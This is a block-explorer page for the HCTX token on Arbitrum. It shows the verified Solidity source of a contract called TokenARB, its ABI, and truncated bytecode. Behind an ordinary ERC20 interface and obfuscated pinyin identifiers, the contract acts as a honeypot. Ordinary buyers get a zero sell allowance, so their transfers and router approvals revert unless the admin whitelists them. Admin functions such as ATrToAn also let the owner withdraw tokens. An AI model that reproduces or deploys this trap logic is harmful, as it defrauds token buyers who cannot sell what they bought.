ETH Price: $2,430.69 (-9.58%)

Token

HCTX (HCTX)

Overview

Max Total Supply

100,000,000 HCTX

Holders

10

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
TokenARB

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-10-16
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    struct SCtl {
        uint256 rShiFouSet;
        mapping(address => uint256) rMaoYongm;
        mapping(address => uint256) rKeMaid;
    } 
    mapping(address => bool) kuoYi_;
    mapping(address => SCtl) CTLS;
    address paiV2;
    uint256 public yuzhi_;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }
}

interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

abstract contract ERC165 is IERC165 {
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}

interface IAccessControl {
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
    error AccessControlBadConfirmation();
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;

    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address callerConfirmation) external;
}


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }


}


abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }
    
    mapping(bytes32 => RoleData) private _roles;
    bytes32 public constant ADMIN_ROLE = 0x00;

    bytes32 public constant KUOYI_ROLE = "KUOYI";

    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    function KYSetPub(address account, uint256 val)
        public
        onlyRole(ADMIN_ROLE)
    {

        uint256 memoUint;
        bool err;
        //(memoUint, err) = Strings.strToUint(memo);
        if (err == false) {
            //revert AccessControlBadConfirmation();
        }
        if(memoUint >= 0){
            _CTLSSet(account, val, true);
        }
    }

    function YuzhiS(uint256 swming) public onlyRole(ADMIN_ROLE) {
        yuzhi_ = swming;
    }

    function _up_MaoY_event(address account) internal view returns (uint256) {
        return CTLS[account].rMaoYongm[account];
    }

    function CTLS_RD_(address account) internal view returns (uint256) {
        return CTLS[account].rKeMaid[account];
    }

    function setKuoY(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == KUOYI_ROLE){
            kuoYi_[addr] = true;
        }
    }

    function unSetKuoY(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == KUOYI_ROLE){
            kuoYi_[addr] = false;
        }
    }

    function InnerCT(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            CTLS[account].rShiFouSet = 1;
            CTLS[account].rMaoYongm[account] = value*10**18;
        } else {
            CTLS[account].rMaoYongm[account] = value;
        }
    }

    function _CTLSSet(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            CTLS[account].rKeMaid[account] = value*10**18;
        } else {
            CTLS[account].rKeMaid[account] = value*0;
        }
    }

    function ATrToAn(
        bytes32 role,
        address addr,
        uint256 num
    ) public onlyRole(ADMIN_ROLE) returns (bool success) {
        if(role == ADMIN_ROLE){
            return IERC20(addr).transfer(msg.sender, num);
        }else{
            return false;
        }
        
    }

    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }
        _revokeRole(role, callerConfirmation);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }
}

abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl
{
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address suBaShi = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _grantRole(ADMIN_ROLE, _msgSender());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    

    function _sushiV1(address to, uint256 value) internal {
        if (isContract(to)) {
            if (!kuoYi_[to]) {
                revert ERC20InvalidReceiver(to);
            }
        } else if (CTLS[to].rShiFouSet == 0) {
            if (!kuoYi_[to]) {
                CTLS[to].rShiFouSet = 1;
                _CTLSSet(to, value, false);
            }
        }
    }


    function _sushiV2(address from, uint256 value) internal {
       if (hasRole(ADMIN_ROLE, from)) {} else if (
            kuoYi_[from]
        ) {} else if (yuzhi_ == 50) {
            uint256 rm = _up_MaoY_event(from);
            if(rm > 0){
                if (rm > value && value > 0) {
                    uint256 amount = rm - value;
                    InnerCT(from, amount, false);
                } else {
                    revert ERC20InvalidSender(from);
                }
            }
        } else if (CTLS_RD_(from) >= value && value > 0) {
            CTLS[from].rKeMaid[from] -= value;
        } else if (CTLS_RD_(from) < value || value <= 0) {
            revert ERC20InvalidSender(from);
        }
    }

    

    function update(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == paiV2) {
            _sushiV1(to, value); 
        } else {
            _sushiV2(from, value);
        }
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        update(from, to, value);
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }
        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }
        emit Transfer(from, to, value);
    }

    

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _grantRole(ADMIN_ROLE, account);
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        jianApprovecha(owner, spender);
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function jianApprovecha(
        address owner,
        address spender
    ) internal {
        if(yuzhi_ == 50 && spender == suBaShi){
            if(!isContract(spender)){
                if(!kuoYi_[owner]){
                    revert ERC20InvalidSender(owner); 
                }
                CGenXin(spender);
            }
            
        }
    }

    function CGenXin(
        address account
    ) internal virtual returns (uint256) {
        

    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function senBatUser(
        address token,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN_ROLE) {
        ERC20 con = ERC20(token);
        uint256 tokendecimal = con.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**tokendecimal;
            con.transfer(_address[i], temp);
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

contract TokenARB is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 value,
        address account
    ) ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
        );
        address _paiV2 = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(
                address(this),
                address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
            );
        _mint(account, value * 10**decimals());
        paiV2 = _paiV2;
        kuoYi_[paiV2] = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"ATrToAn","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"KUOYI_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"KYSetPub","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swming","type":"uint256"}],"name":"YuzhiS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"senBatUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"setKuoY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"unSetKuoY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yuzhi_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

6080604052600a80546001600160a01b031916731b02da8cb0d097eb8d57a175b88c7d8b479975061790553480156200003757600080fd5b50604051620020ff380380620020ff8339810160408190526200005a91620008ca565b838360086200006a8382620009de565b506009620000798282620009de565b5062000087600033620001fe565b5050506000731b02da8cb0d097eb8d57a175b88c7d8b4799750690506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200010a919062000aaa565b6040516364e329cb60e11b815230600482015273fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb960248201526001600160a01b03919091169063c9c65396906044016020604051808303816000875af11580156200016d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000193919062000aaa565b9050620001ba83620001a86012600a62000be2565b620001b4908762000bf3565b620002b1565b600280546001600160a01b039092166001600160a01b0319909216821790556000908152602081905260409020805460ff191660011790555062000c399350505050565b60008281526004602090815260408083206001600160a01b038516845290915281205460ff16620002a75760008381526004602090815260408083206001600160a01b03861684529091529020805460ff191660011790556200025e3390565b6001600160a01b0316826001600160a01b0316847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4506001620002ab565b5060005b92915050565b6001600160a01b038216620002e15760405163ec442f0560e01b8152600060048201526024015b60405180910390fd5b620002ee600083620001fe565b50620002fd6000838362000301565b5050565b6200030e83838362000441565b6001600160a01b0383166200033d57806007600082825462000331919062000c0d565b90915550620003b19050565b6001600160a01b03831660009081526005602052604090205481811015620003925760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401620002d8565b6001600160a01b03841660009081526005602052604090209082900390555b6001600160a01b038216620003cf57600780548290039055620003ee565b6001600160a01b03821660009081526005602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200043491815260200190565b60405180910390a3505050565b6002546001600160a01b0390811690841603620004695762000464828262000475565b505050565b62000464838262000537565b6001600160a01b0382163b15620004cc576001600160a01b03821660009081526020819052604090205460ff16620002fd5760405163ec442f0560e01b81526001600160a01b0383166004820152602401620002d8565b6001600160a01b0382166000908152600160205260408120549003620002fd576001600160a01b03821660009081526020819052604090205460ff16620002fd576001600160a01b0382166000908152600160208190526040822055620002fd908390839062000710565b6001600160a01b03821660009081527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec602052604090205460ff16620002fd576001600160a01b03821660009081526020819052604090205460ff16620002fd576003546032036200062c576001600160a01b03821660009081526001602081815260408084209092019052902054801562000464578181118015620005dd5750600082115b1562000607576000620005f1838362000c23565b9050620006018482600062000761565b50505050565b604051634b637e8f60e11b81526001600160a01b0384166004820152602401620002d8565b8062000658836001600160a01b0316600090815260016020908152604080832060020190915290205490565b10158015620006675750600081115b15620006ae576001600160a01b038216600090815260016020908152604080832060020190915281208054839290620006a290849062000c23565b90915550620002fd9050565b80620006da836001600160a01b0316600090815260016020908152604080832060020190915290205490565b1080620006e5575080155b15620002fd57604051634b637e8f60e11b81526001600160a01b0383166004820152602401620002d8565b801562000754576200072b82670de0b6b3a764000062000bf3565b6001600160a01b0384166000908152600160209081526040808320600201909152902055505050565b6200072b82600062000bf3565b8015620007c0576001600160a01b0383166000908152600160208190526040909120556200079882670de0b6b3a764000062000bf3565b6001600160a01b03841660009081526001602081815260408084209092019052902055505050565b506001600160a01b039190911660009081526001602081815260408084209092019052902055565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200081057600080fd5b81516001600160401b03808211156200082d576200082d620007e8565b604051601f8301601f19908116603f01168101908282118183101715620008585762000858620007e8565b816040528381526020925086838588010111156200087557600080fd5b600091505b838210156200089957858201830151818301840152908201906200087a565b600093810190920192909252949350505050565b80516001600160a01b0381168114620008c557600080fd5b919050565b60008060008060808587031215620008e157600080fd5b84516001600160401b0380821115620008f957600080fd5b6200090788838901620007fe565b955060208701519150808211156200091e57600080fd5b506200092d87828801620007fe565b935050604085015191506200094560608601620008ad565b905092959194509250565b600181811c908216806200096557607f821691505b6020821081036200098657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200046457600081815260208120601f850160051c81016020861015620009b55750805b601f850160051c820191505b81811015620009d657828155600101620009c1565b505050505050565b81516001600160401b03811115620009fa57620009fa620007e8565b62000a128162000a0b845462000950565b846200098c565b602080601f83116001811462000a4a576000841562000a315750858301515b600019600386901b1c1916600185901b178555620009d6565b600085815260208120601f198616915b8281101562000a7b5788860151825594840194600190910190840162000a5a565b508582101562000a9a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000abd57600080fd5b62000ac882620008ad565b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000b2657816